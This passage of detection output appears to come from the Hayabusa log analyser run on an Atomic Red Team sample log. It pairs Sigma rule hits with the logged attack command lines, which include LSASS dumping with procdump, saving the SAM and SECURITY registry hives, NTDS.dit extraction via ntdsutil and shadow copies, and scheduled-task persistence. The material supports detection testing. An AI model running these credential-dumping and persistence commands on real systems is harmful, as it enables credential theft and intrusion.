Path: C:\Windows\System32\mavinject.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:15.776 +09:00,MSEDGEWIN10,1,critical,MavInject Process Injection,,rules/sigma/process_creation/win_mavinject_proc_inj.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:16.496 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c .\bin\T1055.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:16.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:44.283 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.073 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""at 13:20 /interactive cmd"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.094 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management AT : Command: at 13:20 /interactive cmd : Path: C:\Windows\System32\at.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""at 13:20 /interactive cmd""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.094 +09:00,MSEDGEWIN10,1,high,Interactive AT Job,,rules/sigma/process_creation/win_interactive_at.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.207 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.422 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.459 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10 : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.459 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.640 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.828 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "" Atomic ""task /TR C:\windows\system32\cmd.exe /SC daily /ST 20:10"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.849 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "" Atomic ""task /TR C:\windows\system32\cmd.exe /SC daily /ST 20:10 : Path: C:\Windows\System32\schtasks.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "" Atomic ""task /TR C:\windows\system32\cmd.exe /SC daily /ST 20:10""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.849 +09:00,MSEDGEWIN10,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:46.927 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:47.218 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a -c"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:47.238 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: pcalua.exe -a -c : Path: C:\Windows\System32\pcalua.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a -c""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:50.398 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a Java"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:50.453 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: pcalua.exe -a Java : Path: C:\Windows\System32\pcalua.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a Java""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:52.923 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a C:\Windows\system32\javacpl.cpl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:52.982 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: pcalua.exe -a C:\Windows\system32\javacpl.cpl : Path: C:\Windows\System32\pcalua.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""pcalua.exe -a C:\Windows\system32\javacpl.cpl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:53.882 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.099 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.129 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe : Path: C:\Windows\System32\forfiles.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.165 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:54.165 +09:00,MSEDGEWIN10,1,low,Indirect Command Execution,,rules/sigma/process_creation/win_indirect_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:55.069 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c "" c:\folder\normal.dll:evil.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:55.138 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: forfiles /p c:\windows\system32 /m notepad.exe /c c:\folder\normal.dll:evil.exe : Path: C:\Windows\System32\forfiles.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""forfiles /p c:\windows\system32 /m notepad.exe /c "" c:\folder\normal.dll:evil.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:55.236 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:58.359 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:40.973 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 4516 288 0000023C0CA1FA70 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:43.329 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:59.931 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:09:59.931 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:07.994 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /user : Path: C:\Windows\System32\whoami.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:07.994 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:07.994 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:08.184 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.487 +09:00,MSEDGEWIN10,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.487 +09:00,MSEDGEWIN10,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.487 +09:00,MSEDGEWIN10,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:16.986 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""gsecdump -a"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.027 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.107 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wce -o output.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.149 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.224 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\sam sam"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:17.243 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\sam sam : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\sam sam""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:21.090 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\system system"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:21.105 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\system system : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\system system""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:23.317 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\security security"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:23.336 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\security security : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\security security""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.549 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,critical,Suspicious Use of Procdump on LSASS,,rules/sigma/process_creation/win_susp_procdump_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,critical,Renamed ProcDump,,rules/sigma/process_creation/win_renamed_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,high,Suspicious Use of Procdump,,rules/sigma/process_creation/win_susp_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,low,Usage of Sysinternals Tools,,rules/sigma/process_creation/process_creation_sysinternals_eula_accepted.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.642 +09:00,MSEDGEWIN10,1,medium,Procdump Usage,,rules/sigma/process_creation/win_procdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.686 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.852 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""ntdsutil “ac i ntds” “ifm” “create full C:\Atomic_Red_Team q q"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.884 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.971 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe create shadow /for=C:"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.989 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: vssadmin.exe create shadow /for=C: : Path: C:\Windows\System32\vssadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe create shadow /for=C:""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:26.989 +09:00,MSEDGEWIN10,1,medium,Shadow Copies Creation Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.082 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.169 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Extract\ntds.dit"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 00:11:27.169 +09:00,MSEDGEWIN10,1,high,Copying Sensitive Files with Credential Data,,rules/sigma/process_creation/win_copying_sensitive_files_with_credential_data.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-20 